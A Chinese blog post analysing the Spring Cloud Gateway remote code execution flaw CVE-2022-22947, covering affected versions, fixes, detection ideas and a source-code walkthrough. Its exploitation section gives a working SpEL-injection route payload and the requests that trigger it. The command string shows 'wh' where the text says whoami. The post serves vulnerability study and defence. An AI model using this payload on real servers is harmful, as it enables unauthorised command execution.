CVE-2022-22947 远程代码执行漏洞复现分析

简介

前段时间有篇文章披露了开源项目 Spring Cloud Gateway 的一个远程代码执行漏洞,编号为 CVE-2022-22947。

受影响版本

根据 VMWare 和 Spring 的官方公告[^2][^3],受影响的版本为:

  • 3.1.0
  • 3.0.0 到 3.0.6
  • 旧的不受支持的版本也受影响

修复方案

修复方案有:

  • 3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。
  • 在不影响业务的前提下,通过将配置选项 management.endpoint.gateway.enabled 设置为 false 禁用 gateway actuator endpoint。

检测思路

流量检测:分析 HTTP 流量,检测是否存在异常访问 actuator gateway API 的请求。

主机端:

  • 静态检测:通过对比修复前后 ShortcutConfigurable.class 文件的区别指定特征码,根据特征码编写 yara 规则,以查找服务器上是否存在受影响版本的 spring-cloud-gateway jar 包。
  • 动态检测:查找服务器上正在运行的 Java 进程,检测其是否加载了 spring-cloud-gateway jar 包。

漏洞分析

目前已公开的漏洞分析文章都在分析 3.x 版本,为了确认 2.x 版本也受影响,本文对 2018 年发布的 Finchley.RELEASE 版本进行了分析,Spring Cloud Gateway 的版本为 2.0.0.RELEASE

环境搭建

演示项目代码已上传到 GitHub 仓库。

项目中,通过配置文件定义了一个路由。启动项目后,访问 http://localhost:8080/ip,如果一切正常,则会得到以下结果:

image.png

【一>所有资源获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

利用方法

POST 方法请求 /actuator/gateway/routes/pentest,并提交以下数据,用于创建一条恶意路由:

{
  "id": "pentest",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "X-Request-Foo",
        "": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(getRuntime().exec(new String[]{\"wh\"}).getInputStream()))}"
      },
      "uri": "http://httpbin.org/get",
      "predicates": [
        {
          "name": "Method",
          "args": {
            "_key_0": "GET"
          }
        },
        {
          "name": "Path",
          "args": {
            "_key_0": "/pentest"
          }
        }
      ]
    }
  ]
}

  • id 字段指定新路由的名称,必须全局唯一。
  • filters 字段给这条路由指定若干个过滤器。过滤器用于对请求和响应进行修改。
    • name 字段指定要添加的过滤器,这里添加了一个 AddResponseHeader 过滤器,用于 gateway 给客户端返回响应之前添加一个响应头。
    • args.name 字段指定要添加的响应头。
    • args.value 字段指定响应头的值。这里的值是要执行的 SpEL 表达式,用于执行 whoami 命令。注意需要将命令输出结尾的换行符去掉,否则过滤器执行时会抛出异常说「响应头的值不能以 \r 或 \n 结尾」。
    • uri 字段指定将客户端请求转发到 http://httpbin.org/get
    • predicates 字段指定匹配此路由的条件。这里指定了两个条件,一个是请求的方法为 GET,一个是请求的 URI 为 /pentest

有关其它 actuator gateway 的 API,可查看官方文档[^7]。

image.png

接着以 POST 方法请求 /actuator/gateway/refresh ,用于刷新路由,使刚添加的恶意路由生效。

最后以 GET 方法请求 /pentest,触发恶意路由。在响应中可以看到过滤器添加的响应头:

image.png

修复方案分析

代码修复方案

首先在官方仓库中查看为了修复漏洞的 commit[^4]

image.png

ShortcutConfigurable 接口中的 getValue 方法中,使用自定义的 GatewayEvaluationContext 类替换了原来的 StandardEvaluationContext 类。查看 GatewayEvaluationContext 类的实现可知,其是对 SimpleEvaluationContext 类的简单封装。

通过查询文档可知,StandardEvaluationContextSimpleEvaluationContext 都类是执行 Spring 的 SpEL 表达式的接口,区别在于前者支持 SpEL 表达式的全部特性,后者相当于一个沙盒,限制了很多功能,如对 Java 类的引用等[^5][^6]。因此通过将 StandardEvaluationContext 类替换为 GatewayEvaluationContext 类,可以限制执行注入的 SpEL 表达式。

禁用 actuator gateway

通过前面的漏洞利用过程可以看到,首先需要通过 /actuator/gateway/routes/{id} API 创建一条路由。因此将此 API 禁止,也可实现漏洞的修复。根据 Actuator 的 API 文档[^7]可知,启用 actuator gateway 需要设置以下两个配置的值:

management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway

因此只要这两个选项不同时满足,就不会启用 actuator gateway。

漏洞分析思路

ShortcutConfigurable 接口开始,通过 IntelliJ IDEA 可以看到,大多数内置过滤器都继承了 ShortcutConfigurable 接口。其次,RouteDefinitionRouteLocator 类(org/springframework/cloud/gateway/route/RouteDefinitionRouteLocator.class)的私有方法 loadGatewayFilters 中调用了 ShortcutConfigurable 接口的 normalize 方法:

image.png
image.png

通过简单的回溯,RouteDefinitionRouteLocator 类的公有方法 getRoutes 最终会调用 loadGatewayFilters 方法,调用链为:

loadGatewayFilters() -> getFilters() -> convertToRoute() -> getRoutes()

因此 /actuator/gateway/routes 这个 URI 也会触发 SpEL 表达式的执行。

再仔细看下 loadGatewayFilters 方法的关键功能:

  • 参数 id 为路由的名称,也就是定义路由时参数 id 的值。参数 filterDefinitions 为该路由中定义的过滤器对象数组。
  • 方法遍历过滤器对象数组:
    • 检查指定的过滤器是否存在。不存在则抛出异常 Unable to find GatewayFilterFactory with name
    • 存在时,获取过滤器的参数,并打印 debug 日志 RouteDefinition {id} applying filter {args} to {filter}
    • 调用 normalize 方法,如果参数的值是 SpEL 表达式则执行,不是则直接返回。
    • 使用处理后的参数创建配置对象,然后使用过滤器工厂创建过滤器实例并保存到数组中。

2.x 与 3.x 版本的区别

在产生漏洞的核心点上,二者没有区别,都是 ShortcutConfigurable 接口的 getValue 方法中使用了 StandardEvaluationContext 类来执行 SpEL 表达式。

第一个区别在于,2.x 版本在刷新路由后需要额外一次请求才能触发 SpEL 表达式的执行。而 3.x 版本在刷新路由后会立即执行。

第二个区别在于对此方法的调用链。通过查找源代码可知,只有 ConfigurationService 类的内部类 ConfigurableBuildernormalizeProperties 方法(重写了父类中的方法)中调用了 normalize 方法。而 ConfigurableBuilder 类继承自内部抽象类 AbstractBuilderAbstractBuilder 类中有一公有方法 bind 调用了 normalizeProperties 方法。

继续跟进对 bind 方法的引用,可知有三处:

  • AbstractRateLimiter 类的 onApplicationEvent 方法。
  • RouteDefinitionRouteLocator 类的 loadGatewayFilters 方法和 lookup 方法。

然后继续回溯可以知道所有有可能触发 SpEL 表达式执行的地方。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,080评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,422评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,630评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,554评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,662评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,856评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,014评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,752评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,212评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,541评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,687评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,347评论 4 331
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,973评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,777评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,006评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,406评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,576评论 2 349

推荐阅读更多精彩内容